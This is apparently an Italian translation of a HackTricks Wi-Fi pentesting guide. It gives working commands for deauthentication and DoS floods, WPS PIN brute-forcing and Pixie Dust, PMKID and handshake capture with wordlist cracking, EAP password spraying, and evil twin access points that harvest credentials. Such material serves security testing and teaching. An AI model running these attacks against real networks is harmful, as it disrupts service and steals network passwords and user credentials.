Pentesting Wifi

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sull'hacking Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'hacking in tempo reale Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Annunci Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Comandi di base Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Strumenti

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Esegui airgeddon con docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Può eseguire attacchi Evil Twin, KARMA e Known Beacons e poi utilizzare un modello di phishing per riuscire a ottenere la password reale della rete o catturare le credenziali dei social network.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Questo strumento automatizza gli attacchi WPS/WEP/WPA-PSK. Automatizzerà automaticamente:

  • Impostare l'interfaccia in modalità monitor

  • Scansionare le reti possibili - E permetterti di selezionare la vittima(i)

  • Se WEP - Avviare gli attacchi WEP

  • Se WPA-PSK

  • Se WPS: attacco Pixie dust e attacco di forza bruta (fai attenzione che l'attacco di forza bruta potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati dal database.

  • Provare a catturare il PMKID dall'AP per craccarlo

  • Provare a disautenticare i client dell'AP per catturare un handshake

  • Se PMKID o Handshake, provare a forzare usando le prime 5000 password.

Riassunto degli Attacchi

  • DoS

  • Pacchetti di disautenticazione/disassociazione -- Disconnetti tutti (o un ESSID/Client specifico)

  • AP fake casuali -- Nascondi le reti, possibili scanner di crash

  • Sovraccarico AP -- Prova a disattivare l'AP (di solito non molto utile)

  • WIDS -- Gioca con l'IDS

  • TKIP, EAPOL -- Alcuni attacchi specifici per DoS su alcuni AP

  • Cracking

  • Cracca WEP (diversi strumenti e metodi)

  • WPA-PSK

  • PIN WPS "Forza Bruta"

  • WPA PMKID forza bruta

  • [DoS +] Cattura WPA handshake + Cracking

  • WPA-MGT

  • Cattura Nome utente

  • Forza Bruta Credenziali

  • Evil Twin (con o senza DoS)

  • Evil Twin Aperto [+ DoS] -- Utile per catturare le credenziali del portale cattivo e/o eseguire attacchi LAN

  • Evil Twin WPA-PSK -- Utile per attacchi di rete se conosci la password

  • WPA-MGT -- Utile per catturare le credenziali aziendali

  • KARMA, MANA, MANA rumoroso, Segnale noto

  • + Aperto -- Utile per catturare le credenziali del portale cattivo e/o eseguire attacchi LAN

  • + WPA -- Utile per catturare gli handshakes WPA

DOS

Pacchetti di Disautenticazione

Descrizione da qui:.

Gli attacchi di disautenticazione, un metodo diffuso nell'hacking Wi-Fi, coinvolgono la falsificazione di frame "di gestione" per disconnettere forzatamente i dispositivi da una rete. Questi pacchetti non criptati inducono in errore i client facendogli credere che provengano dalla rete legittima, consentendo agli attaccanti di raccogliere gli handshakes WPA per scopi di cracking o per interrompere in modo persistente le connessioni di rete. Questa tattica, allarmante per la sua semplicità, è ampiamente utilizzata e ha significative implicazioni per la sicurezza di rete.

Disautenticazione utilizzando Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 significa deautenticazione

  • 1 è il numero di deautenticazioni da inviare (puoi inviarne più se desideri); 0 significa inviarle continuamente

  • -a 00:14:6C:7E:40:80 è l'indirizzo MAC del punto di accesso

  • -c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se omesso, viene inviata una deautenticazione di broadcast (non sempre funziona)

  • ath0 è il nome dell'interfaccia

Pacchetti di Disassociazione

I pacchetti di disassociazione, simili ai pacchetti di deautenticazione, sono un tipo di frame di gestione utilizzati nelle reti Wi-Fi. Questi pacchetti servono a interrompere la connessione tra un dispositivo (come un laptop o smartphone) e un punto di accesso (AP). La distinzione principale tra disassociazione e deautenticazione risiede nei loro scenari d'uso. Mentre un AP emette **pacchetti di deautenticazione per rimuovere esplicitamente i dispositivi non autorizzati dalla rete, i pacchetti di disassociazione vengono tipicamente inviati quando l'AP è in fase di spegnimento, riavvio o ricollocazione, rendendo necessaria la disconnessione di tutti i nodi connessi.

Questo attacco può essere eseguito da mdk4 (modalità "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Altri attacchi DOS con mdk4

In questo link.

MODALITÀ DI ATTACCO b: Inondazione di Beacon

Invia frame di beacon per mostrare falsi AP ai clienti. Questo a volte può far crashare gli scanner di rete e persino i driver!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

MODALITÀ DI ATTACCO a: Denial-Of-Service dell'Autenticazione

L'invio di frame di autenticazione a tutti i Punti di Accesso (AP) accessibili nel raggio d'azione può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo intenso traffico può portare a un'instabilità del sistema, causando il blocco o addirittura il reset di alcuni AP.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

MODALITÀ DI ATTACCO p: Indagine e Forzatura SSID

L'indagine sui Punti di Accesso (AP) verifica se un SSID è correttamente rivelato e conferma il raggio dell'AP. Questa tecnica, abbinata alla forzatura degli SSID nascosti con o senza un elenco di parole, aiuta nell'identificazione e nell'accesso alle reti nascoste.

MODALITÀ DI ATTACCO m: Sfruttamento delle Contromisure di Michael

L'invio di pacchetti casuali o duplicati a code QoS diverse può innescare le Contromisure di Michael sugli AP TKIP, portando a uno spegnimento dell'AP di un minuto. Questo metodo è una tattica di attacco DoS (Denial of Service) efficiente.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

MODALITÀ DI ATTACCO e: Iniezione di pacchetti EAPOL Start e Logoff

Inondare un AP con frame di avvio EAPOL crea sessioni false, sovraccaricando l'AP e bloccando i clienti legittimi. In alternativa, l'iniezione di messaggi falsi di disconnessione EAPOL scollega forzatamente i client, entrambi i metodi interrompono efficacemente il servizio di rete.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

MODALITÀ DI ATTACCO s: Attacchi per reti mesh IEEE 802.11s

Vari attacchi alla gestione dei collegamenti e al routing nelle reti mesh.

MODALITÀ DI ATTACCO w: Confusione WIDS

Il collegamento incrociato dei client a più nodi WDS o a falsi rogue AP può manipolare i Sistemi di Rilevamento e Prevenzione delle Intrusioni, creando confusione e potenziale abuso di sistema.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

MODALITÀ DI ATTACCO f: Packet Fuzzer

Un packet fuzzer con diverse fonti di pacchetti e un set completo di modificatori per la manipolazione dei pacchetti.

Airggedon

Airgeddon offre la maggior parte degli attacchi proposti nei commenti precedenti:

WPS

WPS (Wi-Fi Protected Setup) semplifica il processo di connessione dei dispositivi a un router, migliorando la velocità e la facilità di configurazione per le reti crittografate con WPA o WPA2 Personal. Risulta inefficace per la sicurezza facilmente compromessa di WEP. WPS utilizza un PIN a 8 cifre, convalidato in due metà, rendendolo suscettibile agli attacchi di forza bruta a causa del suo numero limitato di combinazioni (11.000 possibilità).

Forza Bruta WPS

Ci sono 2 principali strumenti per eseguire questa azione: Reaver e Bully.

  • Reaver è stato progettato per essere un attacco robusto e pratico contro WPS ed è stato testato su una vasta gamma di punti di accesso e implementazioni WPS.

  • Bully è una nuova implementazione dell'attacco di forza bruta WPS, scritta in C. Ha diversi vantaggi rispetto al codice reaver originale: minori dipendenze, miglioramento delle prestazioni di memoria e CPU, gestione corretta della endianità e un insieme più robusto di opzioni.

L'attacco sfrutta la vulnerabilità del PIN WPS, in particolare l'esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco di forza bruta. Tuttavia, le difese contro gli attacchi di forza bruta, come bloccare gli indirizzi MAC degli aggressori, richiedono rotazione degli indirizzi MAC per continuare l'attacco.

Una volta ottenuto il PIN WPS con strumenti come Bully o Reaver, l'attaccante può dedurre la PSK WPA/WPA2, garantendo un accesso persistente alla rete.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

Questo approccio raffinato mira ai PIN WPS utilizzando vulnerabilità conosciute:

  1. PIN pre-scoperti: Utilizzare un database di PIN noti collegati a produttori specifici noti per utilizzare PIN WPS uniformi. Questo database correla i primi tre ottetti degli indirizzi MAC con i PIN probabili per questi produttori.

  2. Algoritmi di generazione di PIN: Sfruttare algoritmi come ComputePIN ed EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo uno strato al processo di generazione del PIN.

Attacco WPS Pixie Dust

Dominique Bongard ha scoperto una falla in alcuni Access Point (AP) riguardante la creazione di codici segreti, noti come nonce (E-S1 e E-S2). Se questi nonce possono essere scoperti, craccare il PIN WPS dell'AP diventa facile. L'AP rivela il PIN all'interno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue). Questi nonce sono essenzialmente le "chiavi" per sbloccare la "cassaforte" che contiene il PIN WPS. Maggiori informazioni a riguardo possono essere trovate qui.

In parole semplici, il problema è che alcuni AP non utilizzavano chiavi sufficientemente casuali per crittografare il PIN durante il processo di connessione. Questo rende il PIN vulnerabile a essere indovinato dall'esterno della rete (attacco di forza bruta offline).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Se non vuoi passare il dispositivo alla modalità monitor, o se reaver e bully hanno qualche problema, puoi provare OneShot-C. Questo strumento può eseguire l'attacco Pixie Dust senza dover passare alla modalità monitor.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Attacco Null Pin

Alcuni sistemi mal progettati permettono addirittura a un Null PIN (un PIN vuoto o inesistente) di concedere l'accesso, il che è piuttosto insolito. Lo strumento Reaver è in grado di testare questa vulnerabilità, a differenza di Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Tutti gli attacchi WPS proposti possono essere facilmente eseguiti utilizzando airgeddon.

  • 5 e 6 ti permettono di provare il tuo PIN personalizzato (se ne hai uno)

  • 7 e 8 eseguono l'attacco Pixie Dust

  • 13 ti consente di testare il PIN NULLO

  • 11 e 12 raccolgono i PIN relativi all'AP selezionato dai database disponibili e generano possibili PIN utilizzando: ComputePIN, EasyBox e opzionalmente Arcadyan (raccomandato, perché no?)

  • 9 e 10 testeranno ogni possibile PIN

WEP

Così vulnerabile e non utilizzato al giorno d'oggi. Basta sapere che airgeddon ha un'opzione WEP chiamata "All-in-One" per attaccare questo tipo di protezione. Più strumenti offrono opzioni simili.


Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Approfondimenti sull'Hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

Ultime Comunicazioni Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!


WPA/WPA2 PSK

PMKID

Nel 2018, hashcat ha rivelato un nuovo metodo di attacco, unico perché ha bisogno solo di un singolo pacchetto e non richiede che nessun client sia connesso all'AP di destinazione, solo l'interazione tra l'attaccante e l'AP.

Molti router moderni aggiungono un campo opzionale al primo frame EAPOL durante l'associazione, noto come Robust Security Network. Questo include il PMKID.

Come spiega il post originale, il PMKID è creato utilizzando dati noti:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Dato che il "Nome PMK" è costante, conosciamo il BSSID dell'AP e della stazione, e il PMK è identico a quello di un handshake completo a 4 vie, hashcat può utilizzare queste informazioni per violare la PSK e recuperare la passphrase!

Per raccogliere queste informazioni e eseguire un attacco di forza bruta localmente alla password, puoi fare:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

I PMKIDs catturati verranno mostrati nella console e anche salvati all'interno di _ /tmp/attack.pcap_ Ora, converti la cattura nel formato di hashcat/john e decifralo:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Si prega di notare che il formato corretto di un hash contiene 4 parti, come: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838. Se il tuo contiene solo 3 parti, allora è invalido (la cattura PMKID non era valida).

Si noti che hcxdumptool cattura anche gli handshake (qualcosa del genere apparirà: MP:M1M2 RC:63258 EAPOLTIME:17091). È possibile trasformare gli handshake nel formato di hashcat/john utilizzando cap2hccapx.

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Ho notato che alcuni handshake catturati con questo strumento non potevano essere decifrati anche conoscendo la password corretta. Consiglierei di catturare gli handshake anche tramite il metodo tradizionale, se possibile, o di catturarne diversi usando questo strumento.

Cattura dell'handshake

Un attacco alle reti WPA/WPA2 può essere eseguito catturando un handshake e tentando di decifrare la password offline. Questo processo coinvolge il monitoraggio della comunicazione di una rete specifica e del BSSID su un particolare canale. Ecco una guida semplificata:

  1. Identificare il BSSID, il canale e un client connesso della rete target.

  2. Utilizzare airodump-ng per monitorare il traffico di rete sul canale e BSSID specificati, sperando di catturare un handshake. Il comando sarà simile a questo:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Per aumentare la possibilità di catturare un handshake, disconnettere momentaneamente il client dalla rete per forzare una nuova autenticazione. Questo può essere fatto utilizzando il comando aireplay-ng, che invia pacchetti di deautenticazione al client:

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Nota che una volta che il client è stato disautenticato potrebbe cercare di connettersi a un AP diverso o, in altri casi, a una rete diversa.

Una volta che inizia a comparire l'informazione di handshake in airodump-ng significa che l'handshake è stato catturato e puoi smettere di ascoltare:

Una volta catturato l'handshake puoi craccarlo con aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Verifica se l'handshake è presente nel file

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Se questo strumento trova un handshake non completato di un ESSID prima di quello completato, non rileverà quello valido.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

Nei setup WiFi enterprise, incontrerai vari metodi di autenticazione, ognuno dei quali fornisce diversi livelli di sicurezza e funzionalità di gestione. Quando utilizzi strumenti come airodump-ng per ispezionare il traffico di rete, potresti notare identificatori per questi tipi di autenticazione. Alcuni metodi comuni includono:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):

  • Questo metodo supporta token hardware e password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida tra pari e invia le password in chiaro al punto di accesso, creando un rischio per gli attacchi di declassamento.

  1. EAP-MD5 (Message Digest 5):

  • Coinvolge l'invio dell'hash MD5 della password dal client. Non è consigliato a causa della vulnerabilità agli attacchi a dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche della sessione.

  1. EAP-TLS (Transport Layer Security):

  • Utilizza certificati lato client e lato server per l'autenticazione e può generare dinamicamente chiavi WEP basate sull'utente e sulla sessione per proteggere le comunicazioni.

  1. EAP-TTLS (Tunneled Transport Layer Security):

  • Fornisce autenticazione reciproca attraverso un tunnel crittografato, insieme a un metodo per derivare chiavi WEP dinamiche, per utente e per sessione. Richiede solo certificati lato server, con i client che utilizzano credenziali.

  1. PEAP (Protected Extensible Authentication Protocol):

  • Funziona in modo simile a EAP creando un tunnel TLS per comunicazioni protette. Consente l'uso di protocolli di autenticazione più deboli su EAP grazie alla protezione offerta dal tunnel.

  • PEAP-MSCHAPv2: Spesso indicato come PEAP, combina il meccanismo di sfida/risposta vulnerabile MSCHAPv2 con un tunnel TLS protettivo.

  • PEAP-EAP-TLS (o PEAP-TLS): Simile a EAP-TLS ma avvia un tunnel TLS prima dello scambio di certificati, offrendo uno strato di sicurezza aggiuntivo.

Puoi trovare ulteriori informazioni su questi metodi di autenticazione quie qui.

Cattura dell'Username

Leggendo https://tools.ietf.org/html/rfc3748#page-27 sembra che se stai utilizzando EAP i messaggi "Identità" devono essere supportati, e l'username verrà inviato in chiaro nei messaggi "Risposta Identità".

Anche utilizzando uno dei metodi di autenticazione più sicuri: PEAP-EAP-TLS, è possibile catturare l'username inviato nel protocollo EAP. Per farlo, cattura una comunicazione di autenticazione (avvia airodump-ng su un canale e wireshark sulla stessa interfaccia) e filtra i pacchetti per eapol. All'interno del pacchetto "Risposta, Identità", apparirà l'username del client.

Identità Anonime

La mascheratura dell'identità è supportata sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta di EAP-Identità è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie affinché il server RADIUS iniziale possa elaborare la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:

  • EAP-Identità = anonimo

  • In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funziona come server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) è quindi gestito localmente o delegato a un server RADIUS remoto (domiciliare).

  • EAP-Identità = anonimo@realm_x

  • In questa situazione, gli utenti di diversi domini nascondono le proprie identità indicando i rispettivi domini. Ciò consente al server RADIUS iniziale di instradare le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei rispettivi domini di origine, che agiscono come server PEAP o TTLS. Il server RADIUS iniziale funziona esclusivamente come nodo di rilancio RADIUS.

  • In alternativa, il server RADIUS iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetto o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.

In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta di EAP-Identità e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta di EAP-Identità inviando una risposta di EAP-Identità contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio impedisce efficacemente la rivelazione dell'identità effettiva dell'utente a chiunque stia intercettando il traffico 802.11.

EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client di solito si autentica utilizzando PAP o CHAP, protetto dal tunnel TLS. In questo caso, il client include un attributo User-Name e un attributo Password o CHAP-Password nel messaggio TLS iniziale inviato dopo l'instaurazione del tunnel.

Indipendentemente dal protocollo scelto, il server PEAP/TTLS ottiene conoscenza dell'identità effettiva dell'utente dopo che il tunnel TLS è stato stabilito. L'identità effettiva può essere rappresentata come utente@dominio o semplicemente utente. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domiciliare dell'utente. Questa nuova richiesta RADIUS omette lo strato di protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetto sia EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domiciliare senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene l'identità effettiva dell'utente, sostituendo l'User-Name anonimo del messaggio RADIUS in ingresso. Quando il metodo di autenticazione protetto è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e gli altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi EAP-Message TTLS presenti nel messaggio RADIUS in ingresso.

Per ulteriori informazioni consulta https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-Bruteforce (password spray)

Se ci si aspetta che il client utilizzi un username e una password (nota che EAP-TLS non sarà valido in questo caso), allora potresti provare a ottenere un elenco di username (vedi la prossima parte) e password e provare a forzare l'accesso utilizzando air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Puoi anche eseguire questo attacco utilizzando eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Teoria degli attacchi ai client

Selezione della rete e roaming

  • Il protocollo 802.11 definisce come una stazione si unisce a un Extended Service Set (ESS) ma non specifica i criteri per la selezione di un ESS o di un punto di accesso (AP) al suo interno.

  • Le stazioni possono passare tra AP che condividono lo stesso ESSID, mantenendo la connettività in un edificio o area.

  • Il protocollo richiede l'autenticazione della stazione all'ESS ma non impone l'autenticazione dell'AP alla stazione.

Liste di reti preferite (PNL)

  • Le stazioni memorizzano l'ESSID di ogni rete wireless a cui si connettono nella loro Lista di reti preferite (PNL), insieme ai dettagli di configurazione specifici della rete.

  • La PNL viene utilizzata per connettersi automaticamente alle reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.

Scansione passiva

  • Gli AP trasmettono periodicamente frame di beacon, annunciando la propria presenza e caratteristiche, inclusa l'ESSID dell'AP a meno che la trasmissione non sia disabilitata.

  • Durante la scansione passiva, le stazioni ascoltano i frame di beacon. Se l'ESSID di un beacon corrisponde a una voce nella PNL della stazione, la stazione potrebbe connettersi automaticamente a quell'AP.

  • La conoscenza della PNL di un dispositivo consente potenziali exploit imitando l'ESSID di una rete conosciuta, ingannando il dispositivo a connettersi a un AP fraudolento.

Indagine attiva

  • L'indagine attiva coinvolge le stazioni nell'invio di richieste di sonda per scoprire gli AP nelle vicinanze e le loro caratteristiche.

  • Le richieste di sonda dirette mirano a un ESSID specifico, aiutando a rilevare se una rete particolare è entro il raggio d'azione, anche se è una rete nascosta.

  • Le richieste di sonda di broadcast hanno un campo SSID nullo e vengono inviate a tutti gli AP nelle vicinanze, consentendo alla stazione di verificare la presenza di qualsiasi rete preferita senza divulgare i contenuti della sua PNL.

Semplice AP con reindirizzamento a Internet

Prima di spiegare come eseguire attacchi più complessi, verrà spiegato come creare solo un AP e reindirizzare il suo traffico a un'interfaccia connessa a Internet.

Utilizzando ifconfig -a controlla che l'interfaccia wlan per creare l'AP e l'interfaccia connessa a Internet siano presenti.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Creare il file di configurazione /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Quindi imposta gli IP e le route:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

E quindi avvia dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Creare un file di configurazione hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Arresta i processi fastidiosi, imposta la modalità monitor, e avvia hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Inoltro e Reindirizzamento

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Un attacco evil twin sfrutta il modo in cui i client WiFi riconoscono le reti, facendo affidamento principalmente sul nome della rete (ESSID) senza richiedere alla stazione base (punto di accesso) di autenticarsi al client. I punti chiave includono:

  • Difficoltà nella Differenziazione: I dispositivi faticano a distinguere tra access point legittimi e falsi quando condividono lo stesso ESSID e tipo di crittografia. Le reti reali spesso utilizzano più access point con lo stesso ESSID per estendere la copertura in modo trasparente.

  • Roaming del Cliente e Manipolazione della Connessione: Il protocollo 802.11 consente ai dispositivi di passare tra access point all'interno dello stesso ESSID. Gli attaccanti possono sfruttare ciò attirando un dispositivo a disconnettersi dalla sua stazione base attuale e connettersi a una falsa. Questo può essere ottenuto offrendo un segnale più forte o interrompendo la connessione alla stazione base legittima attraverso metodi come pacchetti di deautenticazione o jamming.

  • Sfide nell'Esecuzione: Eseguire con successo un attacco evil twin in ambienti con più access point ben posizionati può essere impegnativo. Deautenticare un singolo access point legittimo spesso porta il dispositivo a connettersi a un altro access point legittimo a meno che l'attaccante non possa deautenticare tutti gli access point vicini o posizionare strategicamente l'access point falso.

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Puoi anche creare un Evil Twin usando eaphammer (nota che per creare evil twin con eaphammer l'interfaccia NON deve essere in modalità monitor):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Oppure utilizzando Airgeddon: Opzioni: 5,6,7,8,9 (all'interno del menu attacco Evil Twin).

Si noti che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. È possibile provare a effettuare un attacco DoS al vero AP e sperare che l'utente si connetta manualmente al proprio Evil Twin aperto, oppure è possibile effettuare un attacco DoS al vero AP e utilizzare un WPA Evil Twin per catturare l'handshake (utilizzando questo metodo non sarà possibile far connettere la vittima a voi in quanto non si conosce la PSK, ma è possibile catturare l'handshake e cercare di craccarlo).

Altri sistemi operativi e software antivirus avviseranno l'utente che connettersi a una rete aperta è pericoloso...

WPA/WPA2 Evil Twin

È possibile creare un Evil Twin utilizzando WPA/2 e se i dispositivi sono configurati per connettersi a tale SSID con WPA/2, proveranno a connettersi. Tuttavia, per completare il 4-way-handshake è necessario conoscere la password che il client utilizzerà. Se non la si conosce, la connessione non verrà completata.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Evil Twin Enterprise

Per comprendere questi attacchi, consiglio di leggere prima la breve spiegazione su WPA Enterprise.

Utilizzando hostapd-wpe

hostapd-wpe ha bisogno di un file di configurazione per funzionare. Per automatizzare la generazione di queste configurazioni, potresti utilizzare https://github.com/WJDigby/apd_launchpad (scarica il file python all'interno di /etc/hostapd-wpe/)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

Nel file di configurazione è possibile selezionare molte cose diverse come ssid, canale, file utente, cret/key, parametri dh, versione wpa e autenticazione...

Utilizzo di hostapd-wpe con EAP-TLS per consentire a qualsiasi certificato di effettuare il login.

